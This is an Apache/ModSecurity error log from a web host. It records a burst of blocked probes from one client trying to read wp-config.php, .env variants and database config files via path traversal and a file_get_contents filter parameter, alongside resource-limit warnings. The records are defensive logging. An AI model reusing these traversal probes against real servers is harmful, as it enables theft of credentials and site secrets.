[Fri Jul 17 08:55:40.066213 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtDsMb3am0TgkjETawQAAAAo"]
[Fri Jul 17 08:55:40.066259 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtDsMb3am0TgkjETawQAAAAo"]
[Fri Jul 17 08:55:40.066339 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:server[REQUEST_METHOD]: ../wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtDsMb3am0TgkjETawQAAAAo"]
[Fri Jul 17 08:55:40.066608 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtDsMb3am0TgkjETawQAAAAo"]
[Fri Jul 17 08:55:40.069304 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtDsMb3am0TgkjETawQAAAAo"]
[Fri Jul 17 08:55:40.543401 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtDsMb3am0TgkjETawQAAAAo"]
[Fri Jul 17 08:55:40.609343 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtBHlOGcokz2QIwTTNwAAAAM"]
[Fri Jul 17 08:55:40.609411 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtBHlOGcokz2QIwTTNwAAAAM"]
[Fri Jul 17 08:55:40.609808 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtBHlOGcokz2QIwTTNwAAAAM"]
[Fri Jul 17 08:55:40.610697 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtBHlOGcokz2QIwTTNwAAAAM"]
[Fri Jul 17 08:55:41.152469 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtBHlOGcokz2QIwTTNwAAAAM"]
[Fri Jul 17 08:55:41.348821 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtVCBpfuYyhJ140vS0QAAAB4"]
[Fri Jul 17 08:55:41.348871 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtVCBpfuYyhJ140vS0QAAAB4"]
[Fri Jul 17 08:55:41.349209 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtVCBpfuYyhJ140vS0QAAAB4"]
[Fri Jul 17 08:55:41.349988 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtVCBpfuYyhJ140vS0QAAAB4"]
[Fri Jul 17 08:55:41.364798 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:33066] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:41.901513 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtVCBpfuYyhJ140vS0QAAAB4"]
[Fri Jul 17 08:55:42.058216 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtjsMb3am0TgkjETawgAAAAo"]
[Fri Jul 17 08:55:42.058265 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtjsMb3am0TgkjETawgAAAAo"]
[Fri Jul 17 08:55:42.058597 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtjsMb3am0TgkjETawgAAAAo"]
[Fri Jul 17 08:55:42.059447 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtjsMb3am0TgkjETawgAAAAo"]
[Fri Jul 17 08:55:42.346925 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:42.381567 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:33132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:42.385981 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:42.621138 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtjsMb3am0TgkjETawgAAAAo"]
[Fri Jul 17 08:55:42.742128 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtkkXT4NBqALj2lZ82AAAABA"]
[Fri Jul 17 08:55:42.742285 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:server[REQUEST_METHOD]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:server[REQUEST_METHOD]: ../application/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtkkXT4NBqALj2lZ82AAAABA"]
[Fri Jul 17 08:55:42.742824 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:filter[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:filter[]: file_get_contents"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtkkXT4NBqALj2lZ82AAAABA"]
[Fri Jul 17 08:55:42.744130 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtkkXT4NBqALj2lZ82AAAABA"]
[Fri Jul 17 08:55:42.796565 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:42.964521 2026] [mime:warn] [pid 2030798:tid 2030798] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:42.970812 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.266069 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtkkXT4NBqALj2lZ82AAAABA"]
[Fri Jul 17 08:55:43.308173 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: zeh8m/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtxJ0z2bEtnOrIXVAWwAAAAk"]
[Fri Jul 17 08:55:43.308805 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtxJ0z2bEtnOrIXVAWwAAAAk"]
[Fri Jul 17 08:55:43.311939 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.315316 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.321592 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: 6tw1p/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgt_wooI4qY7Jg93pVhwAAABM"]
[Fri Jul 17 08:55:43.322214 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgt_wooI4qY7Jg93pVhwAAABM"]
[Fri Jul 17 08:55:43.343714 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.346528 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgt0kXT4NBqALj2lZ82QAAABA"]
[Fri Jul 17 08:55:43.346972 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.347036 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgt0kXT4NBqALj2lZ82QAAABA"]
[Fri Jul 17 08:55:43.347129 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.347342 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt0kXT4NBqALj2lZ82QAAABA"]
[Fri Jul 17 08:55:43.347524 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.347945 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
